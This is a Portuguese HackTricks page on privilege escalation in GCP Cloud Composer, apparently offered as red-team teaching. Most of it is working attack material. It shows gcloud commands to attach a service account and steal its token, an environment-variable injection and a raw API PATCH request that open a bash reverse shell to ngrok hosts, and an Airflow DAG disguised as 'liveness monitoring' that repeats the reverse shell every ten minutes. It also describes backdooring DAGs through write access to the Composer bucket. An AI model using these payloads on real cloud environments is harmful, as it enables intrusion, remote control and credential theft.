GCP - Composer Privesc

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

composer

Mais informaçÔes em:

GCP - Composer Enum

composer.environments.create

É possĂ­vel anexar qualquer conta de serviço ao ambiente composer recĂ©m-criado com essa permissĂŁo. Mais tarde, vocĂȘ poderia executar cĂłdigo dentro do composer para roubar o token da conta de serviço.

Criar ambiente Composer com conta de serviço anexada ```bash gcloud composer environments create privesc-test \ --project "${PROJECT_ID}" \ --location europe-west1 \ --service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" ```

Mais informaçÔes sobre a exploração here.

composer.environments.update

É possível atualizar o ambiente do Composer, por exemplo, modificando variáveis de ambiente:

Atualizar variåveis de ambiente do Composer para execução de código ```bash # Even if it says you don't have enough permissions the update happens gcloud composer environments update \ projects//locations//environments/ \ --update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \ --location \ --project

Call the API endpoint directly

PATCH /v1/projects//locations//environments/?alt=json&updateMask=config.software_config.env_variables HTTP/2 Host: composer.googleapis.com User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0) Accept-Encoding: gzip, deflate, br Accept: application/json Content-Length: 178 Content-Type: application/json X-Goog-Api-Client: cred-type/sa Authorization: Bearer [token] X-Allowed-Locations: 0x0

{“config”: {“softwareConfig”: {“envVariables”: {“BROWSER”: “/bin/bash -c ‘bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1’ & #%s”, “PYTHONWARNINGS”: “all:0:antigravity.x:0:0”}}}}

</details>

TODO: Obter RCE adicionando novos pacotes pypi ao ambiente

### Baixar DAGs

Verifique o cĂłdigo-fonte dos DAGs que estĂŁo sendo executados:

<details><summary>Exportar e baixar DAGs do ambiente Composer</summary>
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags

Import Dags

Adicione o cĂłdigo python do DAG em um arquivo e importe-o executando:

Import malicious DAG into Composer environment ```bash # TODO: Create dag to get a rev shell gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py ```

DAG de Reverse shell:

CĂłdigo DAG em Python para reverse shell ```python import airflow from airflow import DAG from airflow.operators.bash_operator import BashOperator from datetime import timedelta

default_args = { ‘start_date’: airflow.utils.dates.days_ago(0), ‘retries’: 1, ‘retry_delay’: timedelta(minutes=5) }

dag = DAG( ‘reverse_shell’, default_args=default_args, description=‘liveness monitoring dag’, schedule_interval=‘*/10 * * * *’, max_active_runs=1, catchup=False, dagrun_timeout=timedelta(minutes=10), )

priority_weight has type int in Airflow DB, uses the maximum.

t1 = BashOperator( task_id=‘bash_rev’, bash_command=‘bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1’, dag=dag, depends_on_past=False, priority_weight=2**31 - 1, do_xcom_push=False)

</details>

### Acesso de escrita ao bucket do Composer

Todos os componentes de um ambiente composer (DAGs, plugins and data) são armazenados dentro de um bucket GCP. Se o atacante tiver permissÔes de leitura e escrita sobre ele, pode monitorar o bucket e **sempre que um DAG for criado ou atualizado, submeter uma versão backdoored** para que o ambiente composer obtenha do armazenamento a versão backdoored.

Obtenha mais informaçÔes sobre este ataque em:

<a class="content_ref" href="gcp-storage-privesc.md"><span class="content_ref_label">GCP - Storage Privesc</span></a>

### Importar Plugins

TODO: Verificar o que Ă© possĂ­vel comprometer ao fazer upload de plugins

### Importar Data

TODO: Verificar o que Ă© possĂ­vel comprometer ao fazer upload de data

> [!TIP]
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
>
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐩 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositĂłrios do github.
>
> </details>